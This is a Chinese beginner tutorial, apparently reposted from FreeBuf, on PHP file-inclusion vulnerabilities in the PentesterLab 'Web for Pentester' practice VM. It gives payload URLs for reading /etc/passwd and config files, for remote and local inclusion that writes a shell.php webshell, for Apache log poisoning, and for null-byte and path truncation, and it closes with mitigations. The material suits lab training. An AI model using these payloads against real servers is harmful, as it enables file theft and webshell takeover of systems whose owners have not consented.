PentesterLab新手教程(四):文件包含

存储架构 2018-05-11

PentesterLab 简介

Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

这个平台包含的主要漏洞如下:

Code injection (代码注入)
Commands injection(命令行注入)
XSS(跨站脚本)
SQL injections(sql注入)
File include(文件包含)
LDAP attacks(LDAP攻击)
File Upload(文件上传)
XML attacks(zXML攻击)

个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

系列教程:

PentesterLab新手教程(一):代码注入

PentesterLab新手教程(二):XML注入

PentesterLab 新手教程(三) :LDAP攻击

Pen
testerLab安装

安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

官网地址&下载地址

前言

这个模块介绍的主要是php文件包含。

php文件包含分为本地包含和远程包含。文件包含有以下几个函数:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()

区别:

  • include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
  • require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(includerequire)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

在做文件包含之前先了解一些常见的文件包含漏洞。

读取关键文件

Windows:

c:windowsphp.ini             php配置文件
c:windowsmy.ini               mysql配置文件

Linux:

/etc/passwd         读取用户密码
/usr/local/app/php5/lib/php.ini          PHP配置文件
/etc/httpd/conf/http.conf               apache主配置文件
/etc/my.cnf                             mysql配置文件

利用方式如: http://192.168.199.110/fileincl/example2.php?page=/etc/passwd

远程包含

前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:

<?fputs(fopen("shell.php","w"),"")?>

远程包含如 http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt
此时在服务器根目录下就会生成shell.php文件,内容为一句话木马

本地包含木马

如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:

<?fputs(fopen("shell.php","w"),"")?>

访问如: http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg
就能在本地生成shell.php

配合apache日志

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL: http://www.xxx.com/
则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。

利用php协议进行包含

同样allow_url_include需要开启,利用如: http://www.xxx.com/index.php?file=data:text/plain,%00

截断包含

  1. %00截断

截断条件:

  • php版本小于5.3.4 详情关注CVE-2006-7243

  • php的magic_quotes_gpc为OFF状态

  • 长目录截断

    ././././././././././././././etc/passwd
    或者
    ////////////////////////////etc/passwd
    或者
    ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd


:php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。

  1. 点号截断/boot.ini/……………………

注:
php版本小于5.2.8,只适用windows,点号需要长于256

exampl1


没有任何过滤,基本上算是为所欲为。

poc:

http://192.168.199.110/fileincl/example2.php?page=/etc/passwd   本地包含
http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt   远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)

另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下

Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
? PentesterLab 2013

这应该算是个小技巧了吧,从中可以得到如下信息:

脚本的路径:/var/www/fileincl/example1.php

使用的功能:include()。

example2



后端代码分析

$file = $_GET["page"].".php";
给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。

preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。

x00匹配该十六进制对应的acsii,即NULL

.  匹配任意字符

*  匹配前面的子表达式零次或多次。

更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html

可以使用%00截断,poc如下: http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00
后面的.php后缀直接被截断。

总结

总的来说,文件包含是个比较常见的漏洞,可以直接getshell

总的来说有以下几种预防的方法:

  1. php中可以使用 open_basedir配置限制访问权限在指定区域
  2. 过滤 . (点) / (斜杠) (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)

*本文作者:婷儿小跟班✧,转载请注明来自FreeBuf.COM

您可能感兴趣的

FIX: VMM won’t start, error 1067 I’ve recently configured VMM in the restricted environment where you always need to ask IT staff to delegate rights for service and install accounts i...
36氪独家 | 新一代数据库「偶数」获红杉中国、红点中国投资,开源技术商业化是个好方向... “ 偶数 ”成立于2016年底,是一个基于HAWQ的新一代数据库项目,目前团队在30人。今年4月份公司获得红点中国的天使轮投资,又于近期完成了红杉中国领投、红点中国跟投的A轮融资,两轮共计数千万元。 我们先来看一下数据库的发展历程。 数据库承担的功能是存储和计算,...
回顾Bob大叔的简洁架构 Robert Martin 就是我们常说的Bob大叔,是码界的骨灰级人物了,在4年前提出了所谓的简洁架构,值得回顾反思一下,看看是否可以借鉴到微服务中呢? 大叔在文中介绍了一下几种知名的架构思想: Alistair Cockburn 的Hexagonal Architecture ...
2017 re:Invent关于数据库AWS CEO说了什么 AWS re:Invent 已经过去一个多月了,现在才来写这篇文章,虽然有些后知后觉,但比不知不觉应该还是要好一点。 AWS是云行业的“领导者”,re:Invent是AWS每年最重要的会议,会介绍当前和未来一段时间的新产品发布,内容也很具启发性。这篇文章,主要关注Andy Jassy的Key...
C generates a random string of maximum length Generates a random string of specified length that contains only specific characters (in Java) Does anybody know of a good way t...